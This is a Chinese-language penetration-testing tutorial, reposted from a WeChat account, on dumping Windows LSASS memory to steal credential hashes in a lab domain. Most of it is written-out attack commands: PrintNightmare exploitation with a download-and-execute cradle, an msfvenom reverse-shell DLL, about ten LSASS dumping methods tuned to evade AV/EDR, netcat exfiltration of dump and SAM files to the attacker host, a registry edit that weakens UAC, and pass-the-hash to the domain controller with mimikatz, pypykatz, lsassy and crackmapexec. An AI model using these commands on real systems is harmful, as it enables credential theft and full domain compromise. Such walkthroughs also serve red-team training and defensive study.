在这篇文章中,我们将探讨可用于转储 LSASS 进程并提取其中哈希值的各种工具和技术。
首先,我们将看到两种不同的方案,它们允许我们以不同的方式转储 LSASS 进程。
在第一种情况下,我们将以本地管理员账户的身份通过 RDP 获取 GUI 访问权限。从那里,我们将看到如何使用任务管理器转储 LSASS 进程。
接下来,在第二种情况下,我们将利用导致 SYSTEM 反向 shell 的漏洞。在此方案中,我们将学习九种不同的技术,这些技术可用于在没有 GUI 的情况下转储 LSASS 进程。
在了解如何以多种方式转储进程后,我们将进入攻击的下一阶段,将其中一个 LSASS 转储文件泄露到我们的攻击者计算机上,然后从中提取哈希值。
此外,我们将看到一个使用 Mimikatz 的示例,其中 LSASS 哈希直接从内存提取到终端上,无需转储文件!
最后,我们将使用这两种方案来了解如何使用两种不同的工具远程转储 LSASS 进程。但是,要远程执行此攻击,我们很快就会发现这种技术需要一些额外的黑客攻击才能发挥作用!
什么是 LSASS 流程 (lsass.exe)?
首先,LSASS 是 LSA 的一个子系统,因此为了了解 LSASS 的工作原理,我们需要知道 LSA 是什么。
本地安全机构 (LSA) 是一个受保护的系统进程,用于对用户进行身份验证并将用户登录到本地计算机。此外,LSA 还维护有关计算机上本地安全的所有方面的信息(这些方面统称为本地安全策略)。
本地安全机构服务器服务 (LSASS) 跟踪计算机系统上有效的安全策略和帐户。它验证登录到 Windows 计算机或服务器的用户并创建访问令牌。
这里的关键是定义的 “creates access tokens” 部分。这意味着,每当用户登录到工作站或服务器时,他们的令牌都将保留在系统上,直到下次重新启动。
LSASS 代表具有活动 Windows 会话的用户将凭据存储在内存中。存储的凭据允许用户访问网络资源,例如文件共享、Exchange Server 邮箱和 SharePoint 站点,而无需为每个远程服务重新输入其凭据。
存储的凭据与上次重启后已启动且尚未关闭的 LSASS 登录会话直接关联。
服务器很少重新启动!
当用户执行以下任一操作时,将创建 LSASS 进程中存储的 LSA 凭据:
- 登录到计算机上的本地会话或远程桌面协议 (RDP) 会话
- 使用RunAs选项执行任务
- 运行活动的 Windows 服务
- 运行计划任务或批处理作业
- 使用远程管理工具 (RSAT) 在本地计算机上执行任务
有关转储 LSASS 进程的重要信息
在我们进入本文的黑客部分之前,让我们快速回顾一下一些有助于成功实施这种攻击的要求/技巧。
首先,为了转储 LSASS 进程,我们需要具有本地/域管理员或 SYSTEM 权限。
对于我们将在本文中看到的一些技术,我们需要SYSTEM(仅管理员是不够的)。
在转储 LSASS 进程时,大多数工具都提供两种不同的方法来执行此任务。第一种技术通常包括按名称转储 LSASS 进程,因此它会在命令行中包含“lsass.exe”(不是很好!
或者,在大多数情况下,我们可以采取更隐蔽的方法,首先找到 LSASS 进程的 PID,然后在命令行中使用 PID 而不是进程名称(更好!
这通常是 LSASS 转储成功与否的区别。特别是当 AV/EDR 解决方案运行时。
此外,出于类似的原因,我们希望避免将 DMP 文件命名为 “lsass.dmp”。
好了,现在我们知道了 LSASS 是什么以及它是如何工作的,让我们来看一些示例!
示例场景 #1:权限提升打印噩梦 (CVE-2021-1675)
对于此方案,假设我们有三台已加入域的计算机:两台 Windows 10 主机 (172.16.1.50 | 172.16.1.100) 以及一个域控制器 (172.16.1.5)。
以下是我们到目前为止所做的......
首先,我们设法以常规域用户cmarko(无凭据)的身份在 Windows 10 主机 (172.16.1.50) 上获得立足点。
从那里,我们列举了域管理员组并找到了两个(管理员)用户:Administrator 和nessex
net group "domain admins" /domain
我们还发现 Print Spooler 服务正在目标上运行。
powershell.exe -c "Get-Service -Name Spooler"
并确定 Windows 10 版本容易受到 Print Nightmare 的攻击。
systeminfo | findstr /B /C:"Host Name" /C:"OS Name" /C:"OS Version" /C:"System Type" /C:"Hotfix(s)"
接下来,我们发现了一个可用于利用 Print Nightmare 的 PowerShell 脚本 (CVE-2021-1675)。该脚本将创建一个新的本地用户,并将其添加到本地 Administrators 组。
然后,我们将脚本复制到攻击者的机器上,并在底部对以下命令进行硬编码:
echo Invoke-Nightmare -DriverName '"Xerox" -NewUser "pwnt" -NewPassword "Password123"' >> Invoke-Nightmare.ps1
脚本准备好使用后,我们从攻击者计算机托管Invoke-Nightmare.ps1脚本的目录中启动了一个 HTTP 服务器。
然后,使用反向 shell 中的以下 IEX 命令,我们成功地将脚本直接下载并执行到受害者的内存中:
powershell.exe -c "iex(new-object net.webclient).downloadstring('http://172.16.1.30/Invoke-Nightmare.ps1')"
最后,一旦脚本运行完毕,就会创建一个新用户 “pwnt” 并添加到本地 Administrators 组!
net usernet localgroup administrators
如果您有兴趣学习多种利用 Print Nightmare 的方法,请在此处查看我关于该主题的详细帖子。
现在,我们已经在目标上创建了本地管理员帐户,我们可以使用此帐户通过 RDP 登录并转储 LSASS 进程。
转储 LSASS 进程:任务管理器 (GUI)
对于我们的第一个示例,我们可以使用我们创建的本地管理员账户的凭证,并通过 RDP 连接到主机来获取 GUI 会话。
sudo xfreerdp /u:pwnt /p:'Password123' /v:172.16.1.50 +clipboard
确认我们在系统上具有本地管理员权限后,我们可以继续转储 LSASS 进程。
由于我们对受害者具有 GUI 访问权限,因此我们转储 LSASS 进程的第一种方法是使用任务管理器。
要创建进程转储文件,请右键单击任务栏(底部栏),然后单击 Task Manager。
接下来,我们需要单击更多详细信息下拉箭头,然后转到详细信息 标签。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。
如果有效,将出现一个弹出框,向我们显示 DMP 文件的路径。
棒!转储已成功创建,并已准备好让我们泄露到攻击者计算机上。
但是,在我们泄露此 DMP 文件并提取所有哈希值之前,让我们看一下可以在没有 GUI 的情况下转储 LSASS 进程的各种不同方法。
示例场景 #2:权限提升 – 打印噩梦 (CVE-2021-34527)
好的,对于第二种情况,假设我们没有在 Windows 10 主机上获得立足点。相反,我们设法找到了用户cmarko的凭证,并确定该主机很容易通过远程枚举受到 Print Nightmare (CVE-2021-34527) 的攻击。
从那里,我们通过制作恶意 DLL 文件开始了我们的漏洞利用。
msfvenom -p windows/x64/shell_reverse_tcp LHOST=172.16.1.30 LPORT=443 -a x64 --platform Windows -f dll -o nightmare64.dll
接下来,我们从工作目录设置一个 SMB 共享,这是恶意 DLL 所在的位置:
smbserver.py share $(pwd) -smb2support
最后,我们通过端口 443 在攻击者机器上设置了一个 netcat 侦听器,这是我们为恶意 DLL 选择的端口。然后,我们使用以下命令来利用目标上的 print spooler 服务:
python3 CVE-2021-1675.py juggernaut.local/cmarko:'N0cturn@l21'@172.16.1.50 '\172.16.1.30sharenightmare64.dll'
然后回到我们的侦听器上,一个 SYSTEM shell 签入了!
棒!我们设法抓住了一个 SYSTEM shell;但是,这次我们无法通过 RDP 连接到目标,因为此版本的漏洞利用未创建 admin 用户。
不过幸运的是,有很多方法可以从反向 shell 转储 LSASS 进程 - 不需要 GUI!
转储 LSASS 进程 – LOLBins(无 GUI)
对于使用反向 shell 的第一组示例,我们将“live off the land”并使用各种内置 Windows 二进制文件 (LOLbin) 转储 LSASS 进程。
使用 LOLBins 转储 LSASS 进程比使用工具要隐蔽得多,因为我们使用的是内置的 Windows 二进制文件。这些二进制文件已经可供我们使用,而不是将工具转移到受害者身上。
此外,由于我们滥用了这些二进制文件的内置功能,因此该活动看起来不那么可疑,因此通常会绕过 EDR 工具。
有关我们将在本文中使用的所有 LOLBins 的信息,请点击此处。
Comsvcs.dll
红队成员用于转储 LSASS 进程的最常见技术之一是利用comsvcs.dll的MiniDump功能。
comsvcs.dll与 COM+ 服务相关联,默认情况下,所有 Windows 版本都启用这些服务。
首先,我们需要找到 LSASS 进程 ID (PID),我们可以使用以下命令来完成此操作:
tasklist | findstr -i "PID lsass"
完善!我们可以看到,lsass.exe进程的 PID 为500。
现在我们已经确定了 LSASS 进程的 PID,我们可以使用rundll32.exe执行comsvcs.dll并创建进程的转储文件。
rundll32.exe C:windowssystem32comsvcs.dll MiniDump 500 C:windowstempdump.dmp full
繁荣!就像我们从任务管理器转储 LSASS 进程时一样,DMP 文件已成功创建。
同样,我们现在需要做的就是将其泄露到我们的攻击者机器上并提取哈希值。
Rdrleakdiag.exe
另一个可用于转储 LSASS 进程的 LOLBin 是rdrleakdiag.exe。
rdrleakdiag.exe也称为 Microsoft Windows 资源泄漏诊断工具,通常用于收集资源耗尽检测和解决 (RADAR)。
但是,此工具还具有内置功能,使我们能够使用/fullmemdmp开关执行内存转储。
rdrleakdiag.exe /p 500 /o c:windowstemp /fullmemdmp /wait 1
运行第一个命令后,看起来好像没用?但是,这是因为我们需要使用/snap开关再次运行该命令。
rdrleakdiag.exe /p 500 /o c:windowstemp /fullmemdmp /snap
了不起!就这样,我们使用另一种隐蔽的红队技术创建了 LSASS 流程的转储。
好了,现在我们已经看到了一些使用默认内置二进制文件的示例,现在让我们转过来看一些使用一些(非默认)签名的 Microsoft 二进制文件的示例。
另一个可用于转储 LSASS 进程的默认二进制文件是tttracer.exe。虽然被认为是最隐蔽的技术之一,但它也确实具有一些要求(Windows 10 – 1809 或更高版本)以及由于“转储文件”是 RUN 文件而提取哈希值的一些额外劳动力。如果您有兴趣了解有关此技术的更多信息,我建议您查看此 Twitter帖子以获取更多信息。
转储 LSASS 进程 – 其他 Microsoft 签名的二进制文件(无 GUI)
我们可以用来 live-off-land 的另一种技术是寻找目标系统上已安装的非标准 Microsoft 签名二进制文件。
由于这些二进制文件是非默认的,因此我们需要 “幸运” 才能找到它们,因为它们通常只预装了某些 Windows 服务/工具。
但是,由于目标是在目标上查找这些二进制文件,因此这些示例仍然是 LOLBin。
或者,如果系统中尚未存在这些二进制文件,则可以创建 Windows 实验室计算机并获取这些二进制文件的副本以传输到受害者。但是,如果是这种情况,我们还有其他工具更容易获得。
我们总共可以寻找 5 个“其他 Microsoft 签名的二进制文件”,这些二进制文件可用于转储 LSASS 进程。
使用以下命令,我们可以快速搜寻并确定给定目标上是否存在这些二进制文件中的任何(或全部):
cd "C:Program Files" && dir /S /B *adplus.exe* == *createdump.exe* == *dump64.exe* == *DumpMinitool.exe* == *Sqldumper.exe* && cd "C:Program Files (x86)" && dir /S /B *adplus.exe* == *createdump.exe* == *dump64.exe* == *DumpMinitool.exe* == *Sqldumper.exe*
了不起!在这里,我们可以看到在目标上找到了 4/5 个二进制文件:creatdump.exe、SqlDumper.exe、dump64.exe 和 adplus.exe
接下来,让我们快速回顾一下这些二进制文件的来源,以及如何使用它们来转储 LSASS 进程。
DumpMinitool.exe 是 Visual Studio 2022 的一部分。虽然它没有出现在目标上,但我们仍然会简要回顾一下如何使用它。
Adplus.exe
Adplus.exe预打包了Windows SDK(软件开发工具包),主要用于构建应用程序。
在 SDK 中,提供了一组调试工具来帮助应用程序构建过程。其中一个工具包括adplus.exe,它可用于转储给定进程的进程内存。
虽然这在应用程序开发过程中可能有所帮助,但它也为攻击者提供了一种转储任意进程(如 LSASS)的途径。
请注意,LSASS 在 x64 系统上以 64 位运行,在 x86 系统上以 32 位运行。您永远不会找到在 x64 架构上运行的 32 位 LSASS 进程。
找到 adplus.exe 后,我们可以使用它来创建一个 LSASS 转储文件,如下所示:
.adplus.exe -hang -pn lsass.exe -o c:windowstemp -quiet
或者,如果我们想更加隐蔽,那么我们可以使用tasklist命令找到 LSASS 进程的 PID,然后在命令中指定 PID,如下所示:
.adplus.exe -hang -p 608 -o c:windowstemp -quiet
“调试”完成后,我们可以从输出中复制并粘贴文件夹位置,并查看我们的 DMP 文件是否已创建。
关于此技术,需要注意的一个关键点是它需要 SYSTEM 权限才能执行(管理员是不够的)。
Createdump.exe
Createdump.exe是另一个已签名的 Windows 二进制文件,可用于转储 LSASS 进程。
这个工具的伟大之处在于它预装了两个不同的程序,这增加了我们在目标主机上找到它的几率。
首先,如果主机正在运行 IIS Web 服务器,则很可能安装了dotnet。而且,如果安装了 dotnet,则createdump.exe应该在系统上。
或者,如果Visual Studio安装在目标上Microsoft则createdump.exe也可能在系统上。
从前面的搜索中,我们可以看到 dotnet 和 Visual Studio 都安装在目标上。因此,我们可以使用一些不同的createdump.exe副本。
与 adplus.exe 不同,creatdump.exe没有将进程名称放在命令行中的选项。
因此,我们需要先使用tasklist命令确定 LSASS 进程的 PID,然后在命令中指定 PID,如下所示:
.createdump.exe -n -f c:windowstempdump.dmp 596
此技术还需要 SYSTEM 权限才能执行(管理员是不够的)。
Dump64.exe
Dump64.exe也是Visual Studio预打包Microsoft内存转储工具。
与 createdump.exe 类似,为了使用dump64.exe我们首先需要使用tasklist确定 LSASS 进程的 PID。
确定 PID 后,我们可以运行以下命令来转储 LSASS 进程:
.dump64.exe 596 c:windowstempdump64.dmp
DumpMinitool.exe
DumpMinitool.exe是Visual Studio 附带的另一个内存转储工具Microsoft。
但是,此工具与 dump64.exe 或 createdump.exe 的区别在于DumpMinitool.exe仅与 Visual Studio 2022 打包在一起。
遗憾的是,在我们的初始搜索期间,没有在目标上找到这个二进制文件。但是,如果是这样,那么我们很可能会在这里找到它:
- C:Program FilesMicrosoft Visual Studio2022CommunityCommon7IDEExtensionsTestPlatformExtensions
同样,就像我们在其他 Visual Studio 转储工具中看到的那样,这个工具也没有将进程名称传递到命令中的选项。
因此,一旦我们使用tasklist确定了 LSASS 进程的 PID,我们就可以使用以下命令继续转储进程:
DumpMinitool.exe --file c:windowstempdump.txt --processId 596 --dumpType Full
SQLDumper.exe
SQLDumper.exe在目标主机上安装Microsoft SQL Server时预打包。
当我们运行初始搜寻命令时,我们确实发现目标上存在sqldumper.exe。因此,我们可以使用此工具转储 LSASS 进程。
但是,正如我们在本节中的大多数示例中看到的那样,此工具还要求我们知道 LSASS 进程的 PID 才能转储它。
所以再一次,我们需要先使用tasklist命令找到 PID,然后我们可以像这样执行内存转储:
./sqldumper.exe 592 0 0x01100
凉!在这里,我们可以看到 DMP 文件是在当前目录中创建的。因此,我们可以从我们希望文件结束的目录运行二进制文件的绝对路径,或者,我们可以像这里一样直接转储它,然后移动文件。
请注意,此技术还具有额外的隐身元素,因为它会创建一个“MDMP”文件,这可能是检测工程师在其 EDR 规则中不寻找的内容。
转储 LSASS 进程 – 工具和脚本(无 GUI)
在这一点上,我们目前已经回顾了七种不同的 LOLBin,它们可用于转储 LSASS 进程。这些二进制文件包括默认安装在 Windows 操作系统上的标准二进制文件,以及与某些功能或工具一起打包的其他 Microsoft 签名二进制文件。
此外,前面的所有示例都期望二进制文件已经在主机上,这就是使它们成为 LOLBins 的原因。
但是,除了我们目前使用的 LOLBins 之外,还有一些其他工具/PowerShell 脚本也可以用来转储 LSASS 进程。其中包括Procdump64.exe以及Out-Minidump.ps1。
因此,我们需要将这些转移到受害者身上才能使用它们。很有可能,它们不会已经出现在系统上。
如果您想了解将文件传输到 Windows 目标或从 Windows 目标传输文件的多种方法,请在此处查看我关于该主题的帖子。
对于这些示例,我们将从攻击者计算机上的工作目录中快速启动 HTTP 服务器。
python3 -m http.server 80
现在我们的 HTTP 服务器正在运行,我们可以将所需的工具复制到我们的工作目录中,然后将它们下载到受害者身上。
最后,在进入示例之前,我们应该进入 PowerShell 提示符(如果还没有)。这可以通过使用以下命令来完成:
powershell -ep bypass
如果上述操作失败,您可以通过发回 Nishang 1-liner 来获取 PowerShell 提示符,可在此处找到。
Procdump64.exe
Procdump64.exe是Sysinternals 工具套件的一部分。有趣的是,此工具也是 Microsoft 签名的二进制文件 - 就像所有 Sysinternals 一样。
Sysinternals 可能已经安装在目标上。在这种情况下,这也将是另一个 LOLBin 示例。但是,与之前的五个 LOLBin 示例相比,在系统中找到procdump64.exe的几率要低得多。
因此,procdump64.exe更常用作攻击者转移到目标上的工具。
获取上述 Sysinternals 套件的副本后,我们需要将副本procdump64.exe添加到我们的工作目录中。
完成后,我们可以使用以下 PowerShell 命令简单地将其下载到受害者身上:
IWR -Uri http://172.16.1.30/procdump64.exe -OutFile c:windowstempprocdump64.exe
完善!现在我们已经对受害者procdump64.exe,转储 LSASS 流程非常简单。以下命令将在 C:WindowsTemp 目录中创建一个名为pdump.dmp的转储文件:
.procdump64.exe -ma lsass.exe c:windowstemppdump.dmp -accepteula
同样,正如我们之前看到的,由于直接在命令行上传递 “lsass.exe” ,这种技术可能会触发 AV。
为避免此问题,我们可以使用tasklist命令找到 LSASS 进程的 PID,然后将其传递到命令行中。
.procdump64.exe -ma 592 c:windowstemppdump.dmp -accepteula
Out-Minidump.ps1
Out-Minidump.ps1 是一个 PowerShell 脚本,是 PowerShell Empire 后利用框架的一部分。在我们的攻击者机器上,我们需要做的第一件事是将脚本复制到我们的工作目录中,然后在底部附加以下命令:
echo 'Get-Process lsass | Out-Minidump' >> Out-Minidump.ps1
最好制作一个副本,这样我们就不会编辑原始脚本。完善!脚本准备好使用后,我们可以对受害者运行以下命令,将脚本下载并直接执行到内存中:
iex(new-object net.webclient).downloadstring('http://172.16.1.30/Out-Minidump.ps1')
凉!DMP 文件的创建方式与我们使用各种二进制文件时相同。遗憾的是,该脚本被设置为在命名 DMP 文件时使用进程名称。相应地,这会导致名称中包含 LSASS 的文件。但是,我们可以通过在脚本中编辑以下行来绕过这一点:
通过将 ($ProcessName) 替换为字符串 “dump” 之类的任意内容,创建的文件将被命名为 “dump_588.dmp”。
好了,现在我们已经了解了创建 LSASS 转储文件的十种不同方法,让我们最后进入有趣的部分并提取哈希值!
在本地提取 DMP 文件哈希值
以多种不同的方式转储 LSASS 进程后,我们现在拥有同一 DMP 文件的多个版本。但是,在正常情况下,只会使用一个工具,并且只会创建一个 DMP 文件。
因此,我们只需要将其中一个文件传输到攻击者的机器上,这样我们就可以在本地(离线)提取哈希值。
泄露 DMP 文件
为了将受害者的 DMP 文件泄露到我们的攻击者机器上,我们将下载并使用nc.exe。
在攻击者的机器上,启动一个 netcat 侦听器来获取文件:
nc -nvlp 443 > dump.dmp
接下来,在受害机器上,我们可以使用以下命令将 DMP 文件推送到我们的 netcat 侦听器:
cmd.exe /c ".nc.exe 172.16.1.30 443 < c:windowstempdump.dmp"
提示符挂起,这是一个好兆头。
因为我们处于 PowerShell 提示符中,所以我们需要调用 “cmd.exe /c” 来运行此命令,因为 PowerShell 不允许使用 “<” 运算符。
请注意,由于 DMP 文件非常大,因此下载需要一些时间。给它大约一分钟,然后检查文件大小是否在两边匹配。下载整个文件后,我们可以使用CTRL + C退出攻击者端的连接。
文件传输完成后,Netcat 不会自动关闭,因此您必须手动关闭连接。
看到双方的文件大小匹配,我们可以使用名为Pypykatz的工具继续将 dump.dmp 文件中的哈希值转储到攻击者的机器上本地。
使用 Pypykatz 从 DMP 文件中提取哈希值
Pypykatz是纯 Python 中的 Mimikatz 实现,它允许我们使用攻击者机器上的 Mimikatz 的强大功能在本地转储哈希值。
要从 dump.dmp 文件中提取所有哈希值,我们可以使用以下命令:
pypykatz lsa minidump dump.dmp
而且,事实证明,域管理员 'nessex'已经登录了这个主机并留下了他们的令牌!
了不起!LSASS 转储包含域管理员帐户的 NTLM 哈希。因此,我们现在可以转向 DC 并执行完整的域接管!
使用域管理员哈希对 DC 进行传递哈希攻击
在获取了域管理员的哈希值后,我们正式对域进行了 pw 操作。这可以通过一个名为CrackMapExec的出色工具来确认,并尝试传递哈希以查看我们拥有的访问权限。
尝试对 DC 传递哈希,我们能够通过看到Pwn3d字样来确认我们拥有对 SMB 和 WinRM 的完全访问权限!
crackmapexec smb 172.16.1.5 -u nessex -H 0d53464368d5e2b607cd68ea29a8cc5fcrackmapexec winrm 172.16.1.5 -u nessex -H 0d53464368d5e2b607cd68ea29a8cc5f
DC 在这一点上是敬酒的!现在,我们可以传递哈希以登录到 DC 并获得反向 shell。
在此示例中,我们将使用Impacket工具套件中的psexec.py传递哈希,并使用以下命令在 DC 上获取 SYSTEM shell:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0d53464368d5e2b607cd68ea29a8cc5f juggernaut.local/[email protected]
您可能注意到,当我们的转储仅向我们提供 NT 部分时,我使用了完整的 NTLM 哈希。因为 LM 是空白的,所以我们可以使用 32 个 0 作为占位符,也可以使用 NULL 哈希值,就像我上面所做的那样。LM 的 NULL 哈希值为 'aad3b435b51404eeaad3b435b51404ee'。或者,在 NT 哈希之前留下冒号也可以......
游戏结束!从这里我们可以加载Mimikatz并转储所有域哈希值,创建黄金票证等。可能性是无穷无尽的!
要了解如何使用 Mimikatz 转储 DC 哈希值,你可以在这里查看我的帖子。同样,我也有一篇关于 golden ticket 和 pass-the-ticket 攻击的文章这里,以及一篇关于 pass-the-hash 攻击的文章 这里.
直接从内存中提取 LSASS 哈希 – Mimikatz(无 GUI)
“转储 LSASS 进程”的另一种方法是使用Mimikatz。
使用 Mimikatz 时,我们实际上并没有像对所有其他示例那样创建 DMP 文件。相反,我们可以使用 Mimikatz 直接进入内存,并从正在运行的 LSASS 进程中提取哈希值。
在此示例中,我们将使用mimikatz.exe转储 LSASS 进程。由于此方法不需要 GUI,因此我们可以从反向 shell 执行此操作。
首先,我们需要将副本 Mimikatz 下载到受害者身上,然后使用以下命令转储所有“logonpasswords”,即 LSASS 进程:
.mimikatz.exetoken::elevateprivilege::debugsekurlsa::logonpasswords
使用这些命令,我们可以:将权限提升到 SYSTEM,确认我们已经提升了权限,然后从内存中提取 LSASS 哈希值。
通常,我们会发现当前登录的用户作为顶部条目,然后是该条目下方的所有其他“已登录”(系统上留下的访问令牌)用户。
但是,在这种情况下,我们可以看到域管理员帐户“nessex”及其 NT 哈希值位于顶部!
同样,我们已经获得了域管理员用户nessex的 NT 哈希值,并且此时基本上拥有整个域!
凉!现在让我们稍微调整一下,看看我们如何远程执行此攻击。
转储 LSASS 进程 – 远程(无 GUI)
对于有关转储 LSASS 进程的最后一组示例,我们将了解如何远程执行此攻击。
请注意,要远程执行此攻击,我们需要满足下面列出的三个标准中的至少一个:
- 1. 内置本地管理员帐户的哈希或密码(“不能”是添加到本地管理员组的本地用户)
- 2. 域管理员帐户的哈希或密码
- 3. 本地 SYSTEM 帐户(计算机帐户)的哈希值
回到我们的两个场景,我们目前不满足上述任何标准。因此,我们无法远程转储 LSASS 进程——或者看起来是这样......
让我解释一下。
在方案 1 中,我们创建了一个本地用户,并将其添加到本地管理员组。遗憾的是,由于 UAC,即使此用户是“管理员”,他们首先也是本地用户。从本质上讲,无论何时他们运行命令,他们都会以中等完整性运行。解决此问题的方法(使用 GUI)是右键单击并“以管理员身份运行”。但是,如果没有 GUI,我们需要执行某种类型的 UAC 旁路。
或者,在场景 2 中,我们从漏洞利用中获取了 SYSTEM shell,但没有找到任何 (管理员) 凭证。
这意味着,为了在任一情况下远程转储 LSASS 进程,我们需要执行一些前面的操作。
示例场景 #1 续 – UAC 旁路到转储 LSASS
假设此时,我们在目标上以用户cmarko的身份将反向 shell 置于目标上,并且我们刚刚执行了 Print Nightmare (CVE-2021-1675) 来创建一个名为“pwnt”的本地管理员帐户
创建本地管理员用户后,我们可以像以前一样跳转到 RDP 会话,或者我们可以尝试立即使用这些凭证来执行 RCE(远程命令执行)。
但是,当我们使用CrackMapExec测试 RCE 时,它不起作用?
crackmapexec smb 172.16.1.50 -u pwnt -p 'Password123' --local-auth
该命令显示凭证有效;但是,它没有提供Pwn3d!消息,这表明 UAC 阻止我们使用提升的令牌运行命令。相反,这就像是由标准用户执行的一样。
不过幸运的是,我们可以执行一个命令来关闭注册表中的 UAC 功能,并允许我们在管理员的上下文中远程执行命令。
如果LocalAccountTokenFilterPolicy值为 0,则只有 RID 500 用户(内置管理员)能够在没有 UAC 的情况下执行远程管理任务。但是,如果为 1,则 “Administrators” 组内的所有帐户都可以执行这些操作。
为此,我们需要快速通过 RDP 连接到目标,打开管理员命令提示符,然后使用以下命令编辑注册表:
reg add HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
完善!从输出中可以看出,命令成功。
再次使用CrackMapExec检查,这次显示 “Pwn3d!”,表示我们已经实现了 RCE 并成功绕过了 UAC!
现在我们可以退出 RDP 会话并远程工作。
使用 lsassy 提取 LSASS 哈希
我们将用于从 LSASS 进程远程提取哈希的第一个工具是一个名为Lsassy的出色工具。
与使用 Mimikatz 提取 LSASS 哈希值类似,使用Lsassy时,哈希值也会直接转储到终端上。
但是,此工具并不像 Mimikatz 那样直接从内存中提取哈希值。相反,它使用 comsvcs.dll 创建 LSASS 进程的转储,然后使用 Pypykatz 在本地提取哈希。
听起来很熟悉?那是因为这与我们手动执行的操作完全相同,不同之处在于这是完全自动化的!
对于此示例,将在基本级别上使用 Lsassy;但是,有许多很棒的功能可用于帮助尝试绕过 AV。另外,应该注意的是,Lsassy 已集成到 crackmapexec 中。
lsassy -u pwnt -p Password123 172.16.1.50
繁荣!在这里,我们可以看到提取了 5 个 NTLM 哈希,包括本地 SYSTEM(带有 $ 的计算机帐户)。
Lsassy所做的另一件很酷的事情是,它为找到的所有哈希创建 kerberos 票证,然后可以使用这些票证在票证传递攻击中通过 Kerberos 进行身份验证。
使用 CrackMapExec 提取 LSASS 哈希
如上所述,Lsassy 也集成到了 CrackMapExec中。
只需将-M lsassy标志添加到我们之前运行的同一命令中以测试我们的访问,我们就可以利用 Lsassy 转储 LSASS 进程:
crackmapexec smb 172.16.1.50 -u pwnt -p 'Password123' --local-auth -M lsassy
但是,输出不如我们使用Lsassy时丰富,并且只提取了四个哈希值。这是因为CrackMapExec会“清理”输出,只显示“已登录”的用户哈希值。
了不起!这两种技术都非常适合远程转储 LSASS 进程。
示例场景 #2 续 — 转储 SAM 哈希以转储 LSASS
继续示例场景 2,假设我们刚刚远程执行了 Print Nightmare (CVE-2021-34527) 并获得了 SYSTEM shell。
此时,我们没有管理员账户的任何凭证。但是,我们确实有一个 SYSTEM shell,这意味着我们可以转储本地 SAM 哈希值。通过这样做,我们将获得本地管理员哈希,然后可以将其用于传递哈希攻击以远程转储 LSASS 进程。
首先,我们需要从注册表中获取本地 SAM 和 SYSTEM 文件的副本。
reg save hklmsam c:windowstempSAMreg save hklmsystem c:windowstempSYSTEM
接下来,我们需要将这些文件泄露回攻击者计算机。
为简单起见,假设我们使用 netcat 将这两个文件泄露到攻击者的计算机上。与我们之前泄露 DMP 文件的方式相同。
棒!现在,攻击者计算机上已经有了这两个文件,我们需要使用secretsdump.py从 SAM 文件中提取哈希值。
secretsdump.py -sam SAM -system SYSTEM LOCAL
完善!我们能够转储哈希并获取本地管理员帐户密码哈希。此外,由于用户 “pwnt” 也是一个本地帐户,我们也转储了他们的密码哈希。
有了本地管理员帐户密码哈希,我们现在可以使用Lsassy和CrackMapExec远程转储 LSASS 哈希。
使用 Lsassy 和 CrackMapExec 提取 LSASS 哈希 – 传递哈希攻击
正如我们之前看到的,我们可以使用Lsassy和CrackMapExec远程转储 LSASS 进程。
但是,在最后一个示例中,我们知道本地 Administrator 用户的密码。不幸的是,这一次,除了标准用户cmarko之外,我们没有任何密码可以使用。
但是,这只是一个障碍,而不是一堵墙!
虽然我们没有找到任何管理员用户的密码,但我们确实设法从本地 SAM 文件中转储了本地管理员的密码哈希。
因此,我们不需要密码来转储 LSASS 进程。相反,我们可以简单地传递哈希。
lsassy -u Administrator -H aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060 172.16.1.50
了不起!在这里,我们可以看到它的工作方式与我们使用凭证时相同。
同样,我们可以使用CrackMapExec执行相同的操作。
crackmapexec smb 172.16.1.50 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -M lsassy
哇!尽管起初我们没有满足在任何一种情况下执行 RCE 所需的标准。在一些额外的黑客攻击(UAC 绕过/SAM 转储)之后,我们能够在每种情况下推进我们的攻击,以满足必要的标准并远程转储哈希值。
公众号长期更新安全类文章,关注公众号,以便下次轻松查阅
觉得文章对你有帮助 请转发 点赞 收藏
原文始发于微信公众号(moonsec):【域渗透】 转储凭据 – LSASS 进程哈希
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论